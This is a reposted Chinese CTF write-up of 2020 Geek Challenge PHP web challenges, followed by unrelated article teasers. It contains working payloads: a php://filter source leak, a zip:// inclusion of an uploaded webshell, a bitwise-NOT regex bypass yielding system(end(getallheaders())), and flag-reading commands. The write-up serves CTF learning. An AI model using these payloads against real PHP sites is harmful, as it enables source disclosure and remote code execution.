極客大挑戰2020(部分wp)

Roamphp1-Welcome

在這里插入圖片描述
405請求方法不允許,改一下請求方法
在這里插入圖片描述
數組繞過,在頁面搜索flag即可!本題:就是知道了405是請求方法不允許!

Roamphp2-Myblog(zip協議加文件包含)

在這里插入圖片描述
首先進來就是一個博客頁面,注意一下url那地方有些可疑,通過page來切換頁面估計是文件包含,后綴在后端添加了!用php偽協議把源碼給趴下來!

http://3ac4e25d-0f61-46d7-a807-0156c854dee6.node5.buuoj.cn:81/index.php?page=php://filter/convert.base64-encode/resource=login

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

同理其它的

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself$logined = true;$_SESSION['status'] = $logined;}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";die();
}
?>

這里把前端的cookie(通過cookie來驗證的)給刪了然后密碼置為空就好了!
在這里插入圖片描述
進到后臺這里有個文件上傳的功能,這里是白名單(也是源碼里面寫了的我沒放出來)沒法打文件上傳好像。這里就是結合文件包含打zip協議了!

訪問壓縮包里面的文件。當它與包含函數結合時,zip://流會被當作php文件執行。
zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]

那么我們先壓縮我們的php馬,然后在把zip改成jpg利用即可!

?page=zip://./assets/img/upload/368d066d6c9103bba3e2e41338d2cad19e2f367b.jpg%231
POST : a=system(“tac /f*”);

本題:隱藏后綴名+如果能上傳圖片馬是可以配合文件包含去打的(突然理解了之前別人說的,圖片馬要結合文件包含去利用的意思了)!

Roamphp4-Rceme(nb的函數調用)

在這里插入圖片描述
vim緩存信息泄露,直接訪問.index.php.swp。然后把下載好的文件拖到kali里面,用vim -r index.php.swp進行恢復!得到源碼!

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);//獲得驗證數字
}if(isset($_POST['cmd']) and isset($_POST['code'])){if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){die('<script>alert(\'Captcha error~\');history.back()</script>');}$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);$code = $_POST['cmd'];if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){//修正符:x 將模式中的空白忽略; die('<script>alert(\'Longlone not like you~\');history.back()</script>');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);die();}

簡單來說就是:
1.code經過md5加密后的前5個字符要等于session 的code

2.cmd長度不能超過70且不能被正則匹配到

3.匹配括號內的內容替換成空格后結果為;(buhsi,這個正則我看了好久。還是解釋一下吧!/[^\s()]+?((?R)?)/就是先匹配非空白字符或者非括號是非貪婪模式然后再加一個遞歸匹配。

(?R) 是遞歸引用,表示 整個正則表達式本身。? 表示 前面的 (?R) 是可選的(可以匹配 0 次或 1
次)。這使得遞歸可以終止(否則會無限遞歸)。

然后這其實就是無參數rce加無字母數字rce!這里用的是取反,其他用不了,至于為啥,自己想想!
先phpinfo()試一下吧!這里有一點就是不能用(phpinfo)();這種了,因為過不了正則。然后就是在php7中:

[‘phpinfo’][0]()
[‘phpinfo’]{0}()

是和(phpinfo)()一樣的效果!是因為短數組語法:[‘phpinfo’]等同于array(‘phpinfo’)傳統數組的定義方法。所以[phpinfo][0]();等價于phpinfo();
發現是可以的!!!然后這里我們開始構造命令,我這里就為了方便直接讀flag了!
在這里插入圖片描述

一些解釋:
cmd用的是system(end(getallheads())),就是我手動把ua的位置弄到了最后,這樣end就可獲取到寫在ua里面的命令了!然后一些wp說用next,但是我ua不在第二個元素啊,好像也弄不到第二個!getallheads()函數返回請求頭的信息

這里就用var_dump(getallheads());來看看
在這里插入圖片描述
最后貼個取反用的腳本吧:

<?php
$a=urlencode(~'system');
echo "[$a]"."[~%FF]";
echo "\n";
$b=urlencode(~'getallheaders');
echo "[$b]"."[~%FF]";
echo "\n";
$c=urlencode(~'end');
echo "[$c]"."[~%FF]";
$d=urldecode('%CF');
echo ~$d;
?>

本題:1,.index.php.swp泄露然后再kali里面用vim -r index.php.swp命令來恢復!
2,md5每次發包后都會變,這是寫在源碼里面的
3,php7的nb函數調用繞過正則,[phpinfo][0]();等價于phpinfo();
4,取反繞過無字母數字rce

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/917642.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/917642.shtml
英文地址,請注明出處:http://en.pswp.cn/news/917642.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ESP32 外設驅動開發指南 (ESP-IDF框架)——GPIO篇:基礎配置、外部中斷與PWM(LEDC模塊)應用

目錄 一、前言 二、GPIO 2.1 GPIO簡介 2.2 GPIO函數解析 2.3 LED驅動 2.4 KEY驅動 三、EXIT 3.1 EXIT簡介 3.2 EXIT函數解析 3.3 EXIT驅動 四、LEDC 4.1 PWM原理解析 4.2 ESP32的LED PWM控制器介紹 4.3 LEDC函數解析 4.3.1 SW_PWM 4.3.2 HW_PWM 4.4 LEDC驅動 …

鴻蒙 ArkWeb 加載優化方案詳解(2025 最佳實踐)

適用平臺&#xff1a;HarmonyOS NEXT / API 10 關鍵詞&#xff1a;ArkWeb、WebviewController、NodeController、預加載、預連接、預渲染、性能優化一、前言&#xff1a;為什么必須優化 ArkWeb 加載&#xff1f;在鴻蒙生態中&#xff0c;ArkWeb 是系統級的 Web 容器引擎&#x…

JavaScript案例(乘法答題游戲)

項目概述 使用原生JavaScript實現一個乘法答題游戲&#xff0c;隨機生成乘法題目&#xff0c;判斷答案正誤并記錄分數&#xff0c;通過localStorage實現分數持久化存儲。 核心功能需求 隨機題目生成&#xff1a;動態生成1-10之間的乘法題答題交互&#xff1a;輸入答案并提交…

EXCEL刪除數據透視表

wps版 點擊紅框內任意區域 在頂部工具欄選擇刪除Excel 版 1.點擊紅框內任意區域2. 點擊Enable Selection,再按住鍵盤上的Delete鍵&#xff0c;記住不是Backspace鍵

Python 飛機大戰:從零開發經典 2D 射擊游戲

引言&#xff1a;重溫經典游戲開發 飛機大戰作為經典的 2D 射擊游戲&#xff0c;承載了許多人的童年回憶。使用 Python 和 Pygame 開發這樣一款游戲不僅能重溫經典&#xff0c;更是學習游戲開發絕佳的實踐項目。本文將帶你從零開始&#xff0c;一步步實現一個完整的飛機大戰游…

Vue項目中實現瀏覽器串口通信:Web Serial API完整指南

前言 在現代Web開發中&#xff0c;隨著IoT設備和硬件交互需求的增長&#xff0c;瀏覽器與串口設備的通信變得越來越重要。本文將詳細介紹如何在Vue項目中使用Web Serial API實現串口通信功能&#xff0c;為開發者提供一個完整的解決方案。 技術背景 傳統方案的局限性 傳統的串口…

Github怎么只下載某個目錄文件?(Git稀疏檢出、GitZip for Github插件、在線工具DownGit)Github下載目錄

文章目錄**方法一&#xff1a;使用 Git 的稀疏檢出&#xff08;Sparse Checkout&#xff09;**&#xff08;略&#xff09;**步驟&#xff1a;****方法二&#xff1a;使用 SVN 下載特定目錄**&#xff08;略&#xff09;**步驟&#xff1a;****方法三&#xff1a;使用瀏覽器插件…

把“多視圖融合、深度傳感”組合在一起,今天分享3篇3D傳感技術干貨

關注gongzhonghao【計算機sci論文精選】3D傳感技術起源于工業領域高精度測量需求&#xff0c;早期以激光三角測量、結構光等技術為主&#xff0c;主要服務于制造業的零部件檢測與形變分析。隨著消費電子智能化升級&#xff0c;蘋果iPhone X的Face ID將結構光技術推向大眾市場&a…

dubbo源碼之消費端啟動的高性能優化方案

一、序言 dubbo作為一款最流行的服務治理框架之一,在底層做了很多的優化,比如消費端在啟動的時候做了很多性能提升的設計,接下來從連接的層面、序列化功能的層面進行介紹下。 二、優化點 1、消費端在服務啟動的時候會調用DubboProtocol類的protocolBindingRefer方法來創建…

zookeeper常見命令和常見應用

前言 ZooKeeper自帶一個交互式命令行工具&#xff08;通過zkCli.sh或zkCli.cmd啟動&#xff09;&#xff0c;提供了一系列操作ZooKeeper數據節點的命令 下面我們對zookeeper常用命令進行介紹 使用prettyZoo命令行窗口 使用prettyZoo客戶端鏈接zookeeper 打開zookeeper命令…

前端異步任務處理總結

一、異步任務常見場景網絡請求&#xff1a;fetch()、axios 等 API 調用定時操作&#xff1a;setTimeout、setInterval用戶交互&#xff1a;事件監聽回調資源加載&#xff1a;圖片/腳本動態加載Web Workers&#xff1a;后臺線程計算二、核心處理方案1. Promise&#xff08;ES6&a…

機器學習第三課之邏輯回歸(二)LogisticRegression

目錄 簡介 一.分類評估?法 1.混淆矩陣 2.精確率(Precision)與召回率(Recall) 3.F1-score 4.分類評估報告api 2.正則化懲罰 3.?擬合和過擬合 4.K折交叉驗證 5.代碼分析 簡介 接上一篇博客最后 機器學習第二課之邏輯回歸&#xff08;一&#xff09;LogisticRegres…

基于ELK Stack的實時日志分析與智能告警實踐指南

基于ELK Stack的實時日志分析與智能告警實踐指南 一、業務場景描述 在生產環境中&#xff0c;服務實例數量眾多&#xff0c;日志量激增&#xff0c;傳統的文本 grep 或 SSH 登錄方式已無法滿足實時監控與故障定位需求。我們需要搭建一個可擴展、低延遲的日志收集與分析平臺&…

需求變更過程中出現的團隊資源沖突問題處理的一些小技巧

??一、資源沖突的典型場景?? ??技術資源爭奪??:多個需求同時需要同一開發人員或技術專家支持 ??人力資源過載??:突發需求導致團隊成員工作量超負荷(如同時處理3個緊急需求) ??設備/環境沖突??:測試服務器資源不足或特定開發工具許可證被占用 ??跨團隊協…

基于Matlab圖像處理的液晶顯示器表面缺陷檢測與分類研究

本課題設計并實現了一種基于 MATLAB 的圖像缺陷檢測系統&#xff0c;系統集成中值濾波、對比度增強、梯度檢測與區域分析等圖像處理技術&#xff0c;能夠對圖像中的點狀、線狀和塊狀缺陷進行有效識別與分類。用戶可通過圖形用戶界面&#xff08;GUI&#xff09;導入待測圖像&am…

prometheus應用demo(一)接口監控

目錄 完整代碼&#xff08;純Cursor生成&#xff09; 1、pom 2、配置和啟動類 3、自定義指標bean 4、上報 5、業務代碼 一、統計API請求&#xff08;次數、響應碼等&#xff09; 1、統計總數 關鍵代碼&#xff1a; &#xff08;1&#xff09;自定義指標DTO &#xff0…

逃離智能家居“孤島”!用 Home Assistant 打造你的全屋互聯自由王國

文章目錄&#x1f914; 痛點暴擊&#xff1a;智能家居的“巴別塔困境”&#x1f6e0;? Home Assistant 是個啥&#xff1f;簡單粗暴版定義&#x1f50d; 硬核拆解&#xff1a;Home Assistant 的魅力之源&#x1f680; 上車指南&#xff1a;如何開始你的 HA 之旅&#xff1f;第…

數據結構:如何判斷一個鏈表中是否存在環(Check for LOOP in Linked List)

目錄 初始思考&#xff1a;什么叫“鏈表有環”&#xff1f; ? 第一種直接想法&#xff08;失敗&#xff09;&#xff1a;我們是不是能“記住走過的節點”&#xff1f; 那我們換一個思路&#xff1a;我們能否只用兩個指針來檢測環&#xff1f; 第一步&#xff1a;定義兩個指…

深入理解Java的SPI機制,使用auto-service庫優化SPI

文章目錄一、簡介二、使用1、服務提供者&#xff08;或者第三方公共&#xff09;&#xff1a;定義接口2、服務提供者&#xff1a;定義實現類3、服務提供者&#xff1a;注冊服務4、構建服務提供者jar包5、客戶端&#xff1a;使用 ServiceLoader 來加載服務三、源碼分析1、源碼2、…

PPT自動化 python-pptx - 10 : 表格(tables)

在日常工作中&#xff0c;我們經常需要制作包含表格的 PowerPoint 演示文稿&#xff0c;以此清晰展示數據或文本信息。手動制作不僅耗時&#xff0c;當數據更新時還需重復操作&#xff0c;效率低下。而 python-pptx 庫為我們提供了自動化操作 PowerPoint 表格的可能。本文將詳細…